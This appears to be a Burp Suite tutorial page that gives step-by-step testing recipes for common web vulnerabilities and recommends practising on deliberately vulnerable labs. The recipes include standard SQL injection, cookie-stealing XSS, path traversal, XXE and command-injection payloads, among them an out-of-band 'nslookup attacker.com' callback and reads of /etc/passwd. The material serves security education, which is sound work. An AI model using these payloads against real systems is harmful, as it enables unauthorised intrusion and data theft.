Examples
Step-by-step testing scenarios covering the most common web vulnerabilities. Each example shows exactly how to configure Burp tools (Repeater, Intruder, Scanner) to find and verify security issues.
Practice these on intentionally vulnerable applications like WebGoat, DVWA, or HackTheBox web challenges.
SQL Injection Detection
SniperUse Repeater to inject SQL payloads and observe error messages or boolean-based content differences.
Steps
- 1.Intercept login request → Send to Repeater
- 2.Inject ' OR 1=1 -- into username field
- 3.Send request and check: does response differ? Does login succeed without valid credentials?
- 4.Try UNION-based: ' UNION SELECT null,null,username,password FROM users --
- 5.Check if database content appears in response
Example Payload
1' OR '1'='1' --
Cross-Site Scripting (XSS)
SniperInject JavaScript and check if payload is reflected and executed in browser context.
Steps
- 1.Find a search box or comment form
- 2.Send to Repeater → Inject <script>alert(1)</script>
- 3.Send and observe: does script tag appear in response body?
- 4.If filtered, try encoding: <ScRiPt>, %3Cscript%3E, etc.
- 5.For stored XSS, trigger the stored content in another browser session
Example Payload
1<script>alert(document.cookie)</script>
Insecure Direct Object Reference (IDOR)
SniperTest horizontal/vertical privilege escalation by modifying resource identifiers.
Steps
- 1.Login as user A (e.g., /account/1000)
- 2.Note your user ID from response (or session cookie)
- 3.Send account request to Repeater → manually change ID to 1001 (user B)
- 4.Send and check: does response contain user B data?
- 5.Repeat for all numeric IDs, GUIDs, file paths
Example Payload
1/order/12345 → /order/12346
Path Traversal
SniperTraverse directory structure to read sensitive files outside web root.
Steps
- 1.Identify file-loading parameter: ?file=report.pdf
- 2.Replace with traversal: ../../../etc/passwd
- 3.If blocked, double-encode: ..%2F..%2F..%2Fetc%2Fpasswd
- 4.Test variations: ....//, %c0%ae, etc. for bypasses
- 5.Look for Unix (/etc/passwd) or Windows (C:\Windows) files
Example Payload
1../../../etc/passwd
SSRF (Server-Side Request Forgery)
SniperMake server send requests to attacker-controlled host to detect SSRF.
Steps
- 1.Find URL parameter: ?url=http://internal-server/api
- 2.Replace with Collaborator domain: http://abcd1234.burpcollaborator.net
- 3.Send request → check Collaborator for DNS/HTTP callback
- 4.If blocked, try DNS rebinding, redirect chains, or different protocols
Example Payload
1http://burpcollaborator.net
Command Injection
SniperInject OS commands into parameters that interact with system.
Steps
- 1.Test command separation: ; id, || id, & id
- 2.Test command substitution: $(id), `id`
- 3.Check response for command output (uid, gid, username)
- 4.If blind, use time-based: ; sleep 5 — does response delay 5 seconds?
- 5.Out-of-band: ; nslookup attacker.com to get DNS callback
Example Payload
1; cat /etc/passwd
Brute Force Login with Intruder
Cluster BombUse Cluster Bomb to try username+password combinations.
Steps
- 1.Capture login POST request → Send to Intruder
- 2.Mark username and password fields as §positions§
- 3.Set attack type: Cluster Bomb
- 4.Payload set 1: usernames.txt (e.g., admin, root, user)
- 5.Payload set 2: passwords.txt (e.g., password123, admin123)
- 6.Start attack → filter results by response length/login success message
Directory Traversal with Intruder
SniperFuzz for sensitive files by iterating through common paths.
Steps
- 1.Find file parameter: ?page=home.html
- 2.Send to Intruder → mark page parameter
- 3.Attack type: Sniper
- 4.Payload: SecLists/Fuzzing/LFI/common.txt or custom path list
- 5.Look for 200 OK vs 404, content-length changes, server errors
API Parameter Mining with Param Miner
Extension-based fuzzingDiscover hidden API parameters that modify application behavior.
Steps
- 1.Install Param Miner extension
- 2.Send a valid API request to Repeater
- 3.Right-click → "Param miner" → "Discover parameters"
- 4.Load wordlist: params.txt (common param names)
- 5.Observe which added parameters change response (non-404)
- 6.Test discovered parameters for injection
JWT Token Tampering
Modify JWT claims to escalate privileges or bypass authentication.
Steps
- 1.Capture JWT from Authorization header
- 2.Send to Decoder → Base64 decode payload
- 3.Modify claims: {"role":"user"} → {"role":"admin"}
- 4.Base64 encode modified payload
- 5.If signature fails, try "none" algorithm or brute-force weak secret
- 6.Send modified token to server with JWT Editor extension
XXE (XML External Entity) Injection
SniperInject external entity definitions to read files or cause SSRF.
Steps
- 1.Find XML input (SOAP API, file upload with XML, Content-Type: application/xml)
- 2.Inject XXE payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
- 3.Send and check if file contents appear in response
- 4.For blind XXE, use Collaborator DNS: <!ENTITY xxe SYSTEM "http://burpcollaborator.net">
Example Payload
1XXE payload above
CSRF Token Bypass
Repeater replayTest if CSRF token is validated properly by removing or reusing tokens.
Steps
- 1.Capture a legitimate request with CSRF token
- 2.Replay request with token removed or with old token
- 3.If server accepts, CSRF protection is broken
- 4.Also test: remove entire Referer header; change Origin header
How to Practice for Real
Set up a safe environment to practice these attacks without harming real systems:
DVWA (Damn Vulnerable Web App)
PHP/MySQL vulnerable app covering XSS, SQLi, CSRF, LFI, command execution.
WebGoat
OWASP-maintained insecure Java app with dozens of lessons.
bWAPP
Buggy web application with 100+ vulnerabilities. Includes all OWASP Top 10.
HackTheBox (Web Challenges)
Online CTF platform with live web machines. Range: easy to insane.
TryHackMe
Guided rooms and CTFs. Includes complete Burp Suite walkthroughs.
PortSwigger Web Security Academy
Free, official Burp Suite practice labs — the best place to start.
Warning